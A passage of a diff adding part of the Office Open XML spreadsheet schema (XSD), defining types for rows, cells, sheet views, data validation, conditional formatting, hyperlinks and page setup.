default="false"/> + <xsd:attribute name="outlineLevel" type="xsd:unsignedByte" use="optional" default="0"/> + <xsd:attribute name="collapsed" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:simpleType name="ST_CellSpan"> + <xsd:restriction base="xsd:string"/> + </xsd:simpleType> + <xsd:simpleType name="ST_CellSpans"> + <xsd:list itemType="ST_CellSpan"/> + </xsd:simpleType> + <xsd:complexType name="CT_Row"> + <xsd:sequence> + <xsd:element name="c" type="CT_Cell" minOccurs="0" maxOccurs="unbounded"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="r" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="spans" type="ST_CellSpans" use="optional"/> + <xsd:attribute name="s" type="xsd:unsignedInt" use="optional" default="0"/> + <xsd:attribute name="customFormat" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="ht" type="xsd:double" use="optional"/> + <xsd:attribute name="hidden" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="customHeight" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="outlineLevel" type="xsd:unsignedByte" use="optional" default="0"/> + <xsd:attribute name="collapsed" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="thickTop" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="thickBot" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="ph" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_Cell"> + <xsd:sequence> + <xsd:element name="f" type="CT_CellFormula" minOccurs="0" maxOccurs="1"/> + <xsd:element name="v" type="s:ST_Xstring" minOccurs="0" maxOccurs="1"/> + <xsd:element name="is" type="CT_Rst" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="r" type="ST_CellRef" use="optional"/> + <xsd:attribute name="s" type="xsd:unsignedInt" use="optional" default="0"/> + <xsd:attribute name="t" type="ST_CellType" use="optional" default="n"/> + <xsd:attribute name="cm" type="xsd:unsignedInt" use="optional" default="0"/> + <xsd:attribute name="vm" type="xsd:unsignedInt" use="optional" default="0"/> + <xsd:attribute name="ph" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:simpleType name="ST_CellType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="b"/> + <xsd:enumeration value="n"/> + <xsd:enumeration value="e"/> + <xsd:enumeration value="s"/> + <xsd:enumeration value="str"/> + <xsd:enumeration value="inlineStr"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_CellFormulaType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="normal"/> + <xsd:enumeration value="array"/> + <xsd:enumeration value="dataTable"/> + <xsd:enumeration value="shared"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_SheetPr"> + <xsd:sequence> + <xsd:element name="tabColor" type="CT_Color" minOccurs="0" maxOccurs="1"/> + <xsd:element name="outlinePr" type="CT_OutlinePr" minOccurs="0" maxOccurs="1"/> + <xsd:element name="pageSetUpPr" type="CT_PageSetUpPr" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="syncHorizontal" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="syncVertical" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="syncRef" type="ST_Ref" use="optional"/> + <xsd:attribute name="transitionEvaluation" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="transitionEntry" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="published" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="codeName" type="xsd:string" use="optional"/> + <xsd:attribute name="filterMode" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="enableFormatConditionsCalculation" type="xsd:boolean" use="optional" + default="true"/> + </xsd:complexType> + <xsd:complexType name="CT_SheetDimension"> + <xsd:attribute name="ref" type="ST_Ref" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_SheetViews"> + <xsd:sequence> + <xsd:element name="sheetView" type="CT_SheetView" minOccurs="1" maxOccurs="unbounded"/> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_SheetView"> + <xsd:sequence> + <xsd:element name="pane" type="CT_Pane" minOccurs="0" maxOccurs="1"/> + <xsd:element name="selection" type="CT_Selection" minOccurs="0" maxOccurs="4"/> + <xsd:element name="pivotSelection" type="CT_PivotSelection" minOccurs="0" maxOccurs="4"/> + <xsd:element name="extLst" minOccurs="0" maxOccurs="1" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="windowProtection" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="showFormulas" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="showGridLines" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="showRowColHeaders" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="showZeros" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="rightToLeft" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="tabSelected" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="showRuler" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="showOutlineSymbols" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="defaultGridColor" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="showWhiteSpace" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="view" type="ST_SheetViewType" use="optional" default="normal"/> + <xsd:attribute name="topLeftCell" type="ST_CellRef" use="optional"/> + <xsd:attribute name="colorId" type="xsd:unsignedInt" use="optional" default="64"/> + <xsd:attribute name="zoomScale" type="xsd:unsignedInt" use="optional" default="100"/> + <xsd:attribute name="zoomScaleNormal" type="xsd:unsignedInt" use="optional" default="0"/> + <xsd:attribute name="zoomScaleSheetLayoutView" type="xsd:unsignedInt" use="optional" default="0"/> + <xsd:attribute name="zoomScalePageLayoutView" type="xsd:unsignedInt" use="optional" default="0"/> + <xsd:attribute name="workbookViewId" type="xsd:unsignedInt" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Pane"> + <xsd:attribute name="xSplit" type="xsd:double" use="optional" default="0"/> + <xsd:attribute name="ySplit" type="xsd:double" use="optional" default="0"/> + <xsd:attribute name="topLeftCell" type="ST_CellRef" use="optional"/> + <xsd:attribute name="activePane" type="ST_Pane" use="optional" default="topLeft"/> + <xsd:attribute name="state" type="ST_PaneState" use="optional" default="split"/> + </xsd:complexType> + <xsd:complexType name="CT_PivotSelection"> + <xsd:sequence> + <xsd:element name="pivotArea" type="CT_PivotArea"/> + </xsd:sequence> + <xsd:attribute name="pane" type="ST_Pane" use="optional" default="topLeft"/> + <xsd:attribute name="showHeader" type="xsd:boolean" default="false"/> + <xsd:attribute name="label" type="xsd:boolean" default="false"/> + <xsd:attribute name="data" type="xsd:boolean" default="false"/> + <xsd:attribute name="extendable" type="xsd:boolean" default="false"/> + <xsd:attribute name="count" type="xsd:unsignedInt" default="0"/> + <xsd:attribute name="axis" type="ST_Axis" use="optional"/> + <xsd:attribute name="dimension" type="xsd:unsignedInt" default="0"/> + <xsd:attribute name="start" type="xsd:unsignedInt" default="0"/> + <xsd:attribute name="min" type="xsd:unsignedInt" default="0"/> + <xsd:attribute name="max" type="xsd:unsignedInt" default="0"/> + <xsd:attribute name="activeRow" type="xsd:unsignedInt" default="0"/> + <xsd:attribute name="activeCol" type="xsd:unsignedInt" default="0"/> + <xsd:attribute name="previousRow" type="xsd:unsignedInt" default="0"/> + <xsd:attribute name="previousCol" type="xsd:unsignedInt" default="0"/> + <xsd:attribute name="click" type="xsd:unsignedInt" default="0"/> + <xsd:attribute ref="r:id" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_Selection"> + <xsd:attribute name="pane" type="ST_Pane" use="optional" default="topLeft"/> + <xsd:attribute name="activeCell" type="ST_CellRef" use="optional"/> + <xsd:attribute name="activeCellId" type="xsd:unsignedInt" use="optional" default="0"/> + <xsd:attribute name="sqref" type="ST_Sqref" use="optional" default="A1"/> + </xsd:complexType> + <xsd:simpleType name="ST_Pane"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="bottomRight"/> + <xsd:enumeration value="topRight"/> + <xsd:enumeration value="bottomLeft"/> + <xsd:enumeration value="topLeft"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_PageBreak"> + <xsd:sequence> + <xsd:element name="brk" type="CT_Break" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional" default="0"/> + <xsd:attribute name="manualBreakCount" type="xsd:unsignedInt" use="optional" default="0"/> + </xsd:complexType> + <xsd:complexType name="CT_Break"> + <xsd:attribute name="id" type="xsd:unsignedInt" use="optional" default="0"/> + <xsd:attribute name="min" type="xsd:unsignedInt" use="optional" default="0"/> + <xsd:attribute name="max" type="xsd:unsignedInt" use="optional" default="0"/> + <xsd:attribute name="man" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="pt" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:simpleType name="ST_SheetViewType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="normal"/> + <xsd:enumeration value="pageBreakPreview"/> + <xsd:enumeration value="pageLayout"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_OutlinePr"> + <xsd:attribute name="applyStyles" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="summaryBelow" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="summaryRight" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="showOutlineSymbols" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:complexType name="CT_PageSetUpPr"> + <xsd:attribute name="autoPageBreaks" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="fitToPage" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_DataConsolidate"> + <xsd:sequence> + <xsd:element name="dataRefs" type="CT_DataRefs" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="function" type="ST_DataConsolidateFunction" use="optional" default="sum"/> + <xsd:attribute name="startLabels" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="leftLabels" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="topLabels" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="link" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:simpleType name="ST_DataConsolidateFunction"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="average"/> + <xsd:enumeration value="count"/> + <xsd:enumeration value="countNums"/> + <xsd:enumeration value="max"/> + <xsd:enumeration value="min"/> + <xsd:enumeration value="product"/> + <xsd:enumeration value="stdDev"/> + <xsd:enumeration value="stdDevp"/> + <xsd:enumeration value="sum"/> + <xsd:enumeration value="var"/> + <xsd:enumeration value="varp"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_DataRefs"> + <xsd:sequence> + <xsd:element name="dataRef" type="CT_DataRef" minOccurs="0" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_DataRef"> + <xsd:attribute name="ref" type="ST_Ref" use="optional"/> + <xsd:attribute name="name" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="sheet" type="s:ST_Xstring" use="optional"/> + <xsd:attribute ref="r:id" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_MergeCells"> + <xsd:sequence> + <xsd:element name="mergeCell" type="CT_MergeCell" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_MergeCell"> + <xsd:attribute name="ref" type="ST_Ref" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_SmartTags"> + <xsd:sequence> + <xsd:element name="cellSmartTags" type="CT_CellSmartTags" minOccurs="1" maxOccurs="unbounded" + /> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_CellSmartTags"> + <xsd:sequence> + <xsd:element name="cellSmartTag" type="CT_CellSmartTag" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="r" type="ST_CellRef" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_CellSmartTag"> + <xsd:sequence> + <xsd:element name="cellSmartTagPr" minOccurs="0" maxOccurs="unbounded" + type="CT_CellSmartTagPr"/> + </xsd:sequence> + <xsd:attribute name="type" type="xsd:unsignedInt" use="required"/> + <xsd:attribute name="deleted" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="xmlBased" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_CellSmartTagPr"> + <xsd:attribute name="key" type="s:ST_Xstring" use="required"/> + <xsd:attribute name="val" type="s:ST_Xstring" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_Drawing"> + <xsd:attribute ref="r:id" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_LegacyDrawing"> + <xsd:attribute ref="r:id" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_DrawingHF"> + <xsd:attribute ref="r:id" use="required"/> + <xsd:attribute name="lho" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="lhe" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="lhf" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="cho" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="che" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="chf" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="rho" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="rhe" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="rhf" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="lfo" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="lfe" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="lff" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="cfo" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="cfe" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="cff" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="rfo" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="rfe" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="rff" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_CustomSheetViews"> + <xsd:sequence> + <xsd:element name="customSheetView" minOccurs="1" maxOccurs="unbounded" + type="CT_CustomSheetView"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_CustomSheetView"> + <xsd:sequence> + <xsd:element name="pane" type="CT_Pane" minOccurs="0" maxOccurs="1"/> + <xsd:element name="selection" type="CT_Selection" minOccurs="0" maxOccurs="1"/> + <xsd:element name="rowBreaks" type="CT_PageBreak" minOccurs="0" maxOccurs="1"/> + <xsd:element name="colBreaks" type="CT_PageBreak" minOccurs="0" maxOccurs="1"/> + <xsd:element name="pageMargins" type="CT_PageMargins" minOccurs="0" maxOccurs="1"/> + <xsd:element name="printOptions" type="CT_PrintOptions" minOccurs="0" maxOccurs="1"/> + <xsd:element name="pageSetup" type="CT_PageSetup" minOccurs="0" maxOccurs="1"/> + <xsd:element name="headerFooter" type="CT_HeaderFooter" minOccurs="0" maxOccurs="1"/> + <xsd:element name="autoFilter" type="CT_AutoFilter" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="guid" type="s:ST_Guid" use="required"/> + <xsd:attribute name="scale" type="xsd:unsignedInt" default="100"/> + <xsd:attribute name="colorId" type="xsd:unsignedInt" default="64"/> + <xsd:attribute name="showPageBreaks" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="showFormulas" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="showGridLines" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="showRowCol" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="outlineSymbols" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="zeroValues" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="fitToPage" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="printArea" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="filter" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="showAutoFilter" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="hiddenRows" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="hiddenColumns" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="state" type="ST_SheetState" default="visible"/> + <xsd:attribute name="filterUnique" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="view" type="ST_SheetViewType" default="normal"/> + <xsd:attribute name="showRuler" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="topLeftCell" type="ST_CellRef" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_DataValidations"> + <xsd:sequence> + <xsd:element name="dataValidation" type="CT_DataValidation" minOccurs="1" + maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="disablePrompts" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="xWindow" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="yWindow" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="count" type="xsd:unsignedInt" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_DataValidation"> + <xsd:sequence> + <xsd:element name="formula1" type="ST_Formula" minOccurs="0" maxOccurs="1"/> + <xsd:element name="formula2" type="ST_Formula" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="type" type="ST_DataValidationType" use="optional" default="none"/> + <xsd:attribute name="errorStyle" type="ST_DataValidationErrorStyle" use="optional" + default="stop"/> + <xsd:attribute name="imeMode" type="ST_DataValidationImeMode" use="optional" default="noControl"/> + <xsd:attribute name="operator" type="ST_DataValidationOperator" use="optional" default="between"/> + <xsd:attribute name="allowBlank" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="showDropDown" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="showInputMessage" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="showErrorMessage" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="errorTitle" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="error" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="promptTitle" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="prompt" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="sqref" type="ST_Sqref" use="required"/> + </xsd:complexType> + <xsd:simpleType name="ST_DataValidationType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="none"/> + <xsd:enumeration value="whole"/> + <xsd:enumeration value="decimal"/> + <xsd:enumeration value="list"/> + <xsd:enumeration value="date"/> + <xsd:enumeration value="time"/> + <xsd:enumeration value="textLength"/> + <xsd:enumeration value="custom"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_DataValidationOperator"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="between"/> + <xsd:enumeration value="notBetween"/> + <xsd:enumeration value="equal"/> + <xsd:enumeration value="notEqual"/> + <xsd:enumeration value="lessThan"/> + <xsd:enumeration value="lessThanOrEqual"/> + <xsd:enumeration value="greaterThan"/> + <xsd:enumeration value="greaterThanOrEqual"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_DataValidationErrorStyle"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="stop"/> + <xsd:enumeration value="warning"/> + <xsd:enumeration value="information"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_DataValidationImeMode"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="noControl"/> + <xsd:enumeration value="off"/> + <xsd:enumeration value="on"/> + <xsd:enumeration value="disabled"/> + <xsd:enumeration value="hiragana"/> + <xsd:enumeration value="fullKatakana"/> + <xsd:enumeration value="halfKatakana"/> + <xsd:enumeration value="fullAlpha"/> + <xsd:enumeration value="halfAlpha"/> + <xsd:enumeration value="fullHangul"/> + <xsd:enumeration value="halfHangul"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_CfType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="expression"/> + <xsd:enumeration value="cellIs"/> + <xsd:enumeration value="colorScale"/> + <xsd:enumeration value="dataBar"/> + <xsd:enumeration value="iconSet"/> + <xsd:enumeration value="top10"/> + <xsd:enumeration value="uniqueValues"/> + <xsd:enumeration value="duplicateValues"/> + <xsd:enumeration value="containsText"/> + <xsd:enumeration value="notContainsText"/> + <xsd:enumeration value="beginsWith"/> + <xsd:enumeration value="endsWith"/> + <xsd:enumeration value="containsBlanks"/> + <xsd:enumeration value="notContainsBlanks"/> + <xsd:enumeration value="containsErrors"/> + <xsd:enumeration value="notContainsErrors"/> + <xsd:enumeration value="timePeriod"/> + <xsd:enumeration value="aboveAverage"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_TimePeriod"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="today"/> + <xsd:enumeration value="yesterday"/> + <xsd:enumeration value="tomorrow"/> + <xsd:enumeration value="last7Days"/> + <xsd:enumeration value="thisMonth"/> + <xsd:enumeration value="lastMonth"/> + <xsd:enumeration value="nextMonth"/> + <xsd:enumeration value="thisWeek"/> + <xsd:enumeration value="lastWeek"/> + <xsd:enumeration value="nextWeek"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_ConditionalFormattingOperator"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="lessThan"/> + <xsd:enumeration value="lessThanOrEqual"/> + <xsd:enumeration value="equal"/> + <xsd:enumeration value="notEqual"/> + <xsd:enumeration value="greaterThanOrEqual"/> + <xsd:enumeration value="greaterThan"/> + <xsd:enumeration value="between"/> + <xsd:enumeration value="notBetween"/> + <xsd:enumeration value="containsText"/> + <xsd:enumeration value="notContains"/> + <xsd:enumeration value="beginsWith"/> + <xsd:enumeration value="endsWith"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:simpleType name="ST_CfvoType"> + <xsd:restriction base="xsd:string"> + <xsd:enumeration value="num"/> + <xsd:enumeration value="percent"/> + <xsd:enumeration value="max"/> + <xsd:enumeration value="min"/> + <xsd:enumeration value="formula"/> + <xsd:enumeration value="percentile"/> + </xsd:restriction> + </xsd:simpleType> + <xsd:complexType name="CT_ConditionalFormatting"> + <xsd:sequence> + <xsd:element name="cfRule" type="CT_CfRule" minOccurs="1" maxOccurs="unbounded"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="pivot" type="xsd:boolean" default="false"/> + <xsd:attribute name="sqref" type="ST_Sqref"/> + </xsd:complexType> + <xsd:complexType name="CT_CfRule"> + <xsd:sequence> + <xsd:element name="formula" type="ST_Formula" minOccurs="0" maxOccurs="3"/> + <xsd:element name="colorScale" type="CT_ColorScale" minOccurs="0" maxOccurs="1"/> + <xsd:element name="dataBar" type="CT_DataBar" minOccurs="0" maxOccurs="1"/> + <xsd:element name="iconSet" type="CT_IconSet" minOccurs="0" maxOccurs="1"/> + <xsd:element name="extLst" minOccurs="0" type="CT_ExtensionList"/> + </xsd:sequence> + <xsd:attribute name="type" type="ST_CfType"/> + <xsd:attribute name="dxfId" type="ST_DxfId" use="optional"/> + <xsd:attribute name="priority" type="xsd:int" use="required"/> + <xsd:attribute name="stopIfTrue" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="aboveAverage" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="percent" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="bottom" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="operator" type="ST_ConditionalFormattingOperator" use="optional"/> + <xsd:attribute name="text" type="xsd:string" use="optional"/> + <xsd:attribute name="timePeriod" type="ST_TimePeriod" use="optional"/> + <xsd:attribute name="rank" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="stdDev" type="xsd:int" use="optional"/> + <xsd:attribute name="equalAverage" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_Hyperlinks"> + <xsd:sequence> + <xsd:element name="hyperlink" type="CT_Hyperlink" minOccurs="1" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_Hyperlink"> + <xsd:attribute name="ref" type="ST_Ref" use="required"/> + <xsd:attribute ref="r:id" use="optional"/> + <xsd:attribute name="location" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="tooltip" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="display" type="s:ST_Xstring" use="optional"/> + </xsd:complexType> + <xsd:complexType name="CT_CellFormula"> + <xsd:simpleContent> + <xsd:extension base="ST_Formula"> + <xsd:attribute name="t" type="ST_CellFormulaType" use="optional" default="normal"/> + <xsd:attribute name="aca" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="ref" type="ST_Ref" use="optional"/> + <xsd:attribute name="dt2D" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="dtr" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="del1" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="del2" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="r1" type="ST_CellRef" use="optional"/> + <xsd:attribute name="r2" type="ST_CellRef" use="optional"/> + <xsd:attribute name="ca" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="si" type="xsd:unsignedInt" use="optional"/> + <xsd:attribute name="bx" type="xsd:boolean" use="optional" default="false"/> + </xsd:extension> + </xsd:simpleContent> + </xsd:complexType> + <xsd:complexType name="CT_ColorScale"> + <xsd:sequence> + <xsd:element name="cfvo" type="CT_Cfvo" minOccurs="2" maxOccurs="unbounded"/> + <xsd:element name="color" type="CT_Color" minOccurs="2" maxOccurs="unbounded"/> + </xsd:sequence> + </xsd:complexType> + <xsd:complexType name="CT_DataBar"> + <xsd:sequence> + <xsd:element name="cfvo" type="CT_Cfvo" minOccurs="2" maxOccurs="2"/> + <xsd:element name="color" type="CT_Color" minOccurs="1" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="minLength" type="xsd:unsignedInt" use="optional" default="10"/> + <xsd:attribute name="maxLength" type="xsd:unsignedInt" use="optional" default="90"/> + <xsd:attribute name="showValue" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:complexType name="CT_IconSet"> + <xsd:sequence> + <xsd:element name="cfvo" type="CT_Cfvo" minOccurs="2" maxOccurs="unbounded"/> + </xsd:sequence> + <xsd:attribute name="iconSet" type="ST_IconSetType" use="optional" default="3TrafficLights1"/> + <xsd:attribute name="showValue" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="percent" type="xsd:boolean" default="true"/> + <xsd:attribute name="reverse" type="xsd:boolean" use="optional" default="false"/> + </xsd:complexType> + <xsd:complexType name="CT_Cfvo"> + <xsd:sequence> + <xsd:element name="extLst" type="CT_ExtensionList" minOccurs="0" maxOccurs="1"/> + </xsd:sequence> + <xsd:attribute name="type" type="ST_CfvoType" use="required"/> + <xsd:attribute name="val" type="s:ST_Xstring" use="optional"/> + <xsd:attribute name="gte" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:complexType name="CT_PageMargins"> + <xsd:attribute name="left" type="xsd:double" use="required"/> + <xsd:attribute name="right" type="xsd:double" use="required"/> + <xsd:attribute name="top" type="xsd:double" use="required"/> + <xsd:attribute name="bottom" type="xsd:double" use="required"/> + <xsd:attribute name="header" type="xsd:double" use="required"/> + <xsd:attribute name="footer" type="xsd:double" use="required"/> + </xsd:complexType> + <xsd:complexType name="CT_PrintOptions"> + <xsd:attribute name="horizontalCentered" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="verticalCentered" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="headings" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="gridLines" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute name="gridLinesSet" type="xsd:boolean" use="optional" default="true"/> + </xsd:complexType> + <xsd:complexType name="CT_PageSetup"> + <xsd:attribute name="paperSize" type="xsd:unsignedInt" use="optional" default="1"/> + <xsd:attribute name="paperHeight" type="s:ST_PositiveUniversalMeasure" use="optional"/> + <xsd:attribute name="paperWidth" type="s:ST_PositiveUniversalMeasure" use="optional"/> + <xsd:attribute name="scale" type="xsd:unsignedInt" use="optional" default="100"/> + <xsd:attribute name="firstPageNumber" type="xsd:unsignedInt" use="optional" default="1"/> + <xsd:attribute name="fitToWidth" type="xsd:unsignedInt" use="optional" default="1"/> + <xsd:attribute name="fitToHeight" type="xsd:unsignedInt" use="optional" default="1"/> + <xsd:attribute name="pageOrder" type="ST_PageOrder" use="optional" default="downThenOver"/> + <xsd:attribute name="orientation" type="ST_Orientation" use="optional" default="default"/> + <xsd:attribute name="usePrinterDefaults" type="xsd:boolean" use="optional" default="true"/> + <xsd:attribute name="blackAndWhite" type="xsd:boolean" use="optional" default="false"/> + <xsd:attribute 